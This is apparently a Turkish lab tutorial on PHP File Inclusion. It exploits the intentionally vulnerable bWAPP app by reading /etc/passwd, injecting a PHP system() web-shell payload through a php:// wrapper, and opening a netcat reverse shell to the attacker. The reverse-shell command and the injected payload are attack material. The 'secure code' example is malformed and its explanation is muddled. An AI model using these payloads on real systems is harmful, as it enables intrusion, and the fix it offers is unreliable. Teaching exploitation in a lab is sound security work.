File Inclusion Nedir ?
File Inclusion zafiyeti, hedef sunucudaki dosyalara herhangi bir saldırganın erişim sağlayabildiği ve sunucu içerisinde komut çalıştırabildiği bir zafiyet türüdür.
File İnclusion zafiyetinini temelde ortaya çıkması yanlış yapılandırılmış php kodlarından kaynaklanır. Kullanıcıdan alınan girdinin sistemdeki değişken ile uyuşup uyuşmadığına yönelik bir kontrol yapılmadığı için saldırgan sistem dosyalarını görüntüleyebilmektedir.
Örnek vermek gerekirse:
Zararlı kod örneği
<?php
include($ornek. ‘../index.php’);
?>
Güvenli kod örneği:
?php
$ornek = ‘veri’;
include($ornek. ‘../index.php’);
?>
yukarıdaki zararlı ve güvenli kod örneklerine baktığımız zaman zararlı kod örneğinde herhangi bir fonksiyon ataması yapılmadığını görüyoruz.
Fakat güvenli kod örneğinde “$ornek” isimli bir fonksiyona önceden veri ataması yaptık. Bu kod dışarıdaki bir kullanıcıdan alınan verinin girişine izin vermeyecektir.
File Inclusion ile ilgili detaylı yazımıza buradan ulaşabilirsiniz.
Zafiyeti Kullanarak Sisteme Sızma
Bu anlatım için beebox makinesi içerisindeki bWAPP sitesinin kullanacağız.
Öncelikle beebox makinesinin ip adresini “netdiscover -r <ip_range>” komutuyla öğrenmemiz gerekiyor.
Daha sonrasında tarayıcıda makinenin ip adresine gidiyoruz.
Bu seçeneklerden en üst kısımda bulunan bWAPP seçeneğine tıklayarak sitemize geçiş yapıyoruz.
Siteye tıkladıktan sonra karşımıza bu şekilde bir giriş ekranı geliyor. Burada kullanıcı adi ve şifre bilgisi hemen üst kısımda yer almakta.
Bilgileri girip sisteme giriş yapıyoruz (bee/bug).
Giriş yaptıktan sonra sağ üst kısımda yer alan “Choose your bug” seçeneğinden “LFI/RFI” sekmesini seçip “Hack” butonuna tıklıyoruz.
Ardından karşımıza bu şekilde bir sayfa geliyor.
Bu sayfada seçtiğimiz dillere göre bizlere bir çıktı veriyor.
Örnek olarak “English” seçili iken “Go” butonuna tıklarsak bu şekilde bir mesaj döndürüyor.
Bu aşamada tarayıcıdaki “url” kısmına bakarsak sunucuya bir GET talebi gönderildiğini anlayabiliriz.
Gönderilen isteğin içerisinde 2 adet parametre yer almakta.
Bunlardan ilki “language=lang_eng.php” bir diğeri ise “action=go” parametresi.
İlk parametre bizim alt kısımdaki seçtiğimiz dilin php dosyasını bizlere çağırıyor yani aslında alt kısımdaki “Thanks for your interest in bWAPP” yazısını bu php dosyası içerisinden çekiyor.
Bizim bu aşamada zafiyetin olup olmadığını tespit etmek için kullanacağımız parametre ilk parametre olacak.
İlk başta zafiyeti tespit etmek için tarayıcıda parametrenin değerini silip yerine “/etc/passwd” yazıyorum.
Eğer sunucuda zafiyet varsa bizleri içerisindeki passwd dosyasına yönlendirecek.
Gördüğünüz üzere bizleri passwd dosyasına yönlendirdi.
Bu haldeki dosya içeriği biraz karışık bunu sayfanın kaynak kodlarını görüntüleyerek daha düzenli bir çıktıya çevirebilirsiniz.
Bu şekilde daha düzenli halde görüntüleyebildik.
Artık sıra zafiyeti kullanarak sistemde ters bağlantı almaya geldi. Bunun için isteği ilk önce “burp suite” aracıyla yakalamamız gerekiyor.
Firefox içerisinde proxy ayarlamak için kullanabileceğiniz “foxyproxy” eklentisi mevcut. Buradan burp suite aracının proxy ayarlarını kaydederseniz isteği yakalayabilirsiniz.
Öncelikle burp suite aracını çalıştırıyoruz ve foxy proxy eklentimizi etkinleştiriyoruz.
Daha sonrasında tekrardan “Go” butonuna tıklıyoruz. Ardından istemci tarafından gönderilen talep burp suite içerisine düşüyor.
Öncelikle sunucuda php komutu çalıştırabiliyormuyuz ona bakacağız. Bunun için isteği “Repeater” bölümüne gönderip orada çalışacağım.
ilk önce isteğimizin içerisinde kullanabileceğimiz php kodu ile çağırılan bir parametre eklemeye çalışıyorum.
Burada yaptığım işlemleri kısaca anlatayım.
ilk önce isteğin içerisine “<?php system($_GET[‘cmd’]); ?>” kodunu enjekte etmeye çalıştım. Bu php kodu gönderilen get talebinin içeriğine parantez içerisinde belirttiğiniz değerde bir parametre ekliyor ve bu parametrede komut çalıştırabiliyorsunuz.
Daha sonra kodun çalışıp çalışmadığını anlamak için “language=” parametresine “php://” ile başlayan komutunu ekledim. Bu komut ile az önceki oluşturduğumuz “cmd” parametresini tetikleyip sistem içerisinde komut çalıştırabilirsek sistemde ters bağlantı alabiliriz.
Resimde de gördüğünüz üzere sistemde “ls” komutumuz başarılı bir şekilde çalıştı ve dosyaları görüntüleyebildik.
Artık sistemde ters bağlantı almaya çalışabiliriz.
Bunun için “cmd” parametresinde “nc -e /bin/bash <ip> <port>” komutunu çalıştıracağız. İsteği göndermeden önce terminali açıp “nc -lvnp <port>” komutuyla belirlediğimiz portu dinlemeye almamız lazım.
Artık düzenlediğimiz isteği sunucuya gönderebiliriz.
“Send” butonuna tıkladığımız anda bizlere terminalde “connect to” yazısını döndürüyor kısacası sisteme girmeyi başardık.
Artık sunucunun içerisinde yetkimiz dahilinde kontrole sahibiz.
Aşağıda da görüldüğü üzere sisteme “www-data” kullanıcı ile giriş yapmışız.
Daha üst mertebeli işlemler yapmak istersek sunucuda Yetki Yükseltme yapmamız gerekir.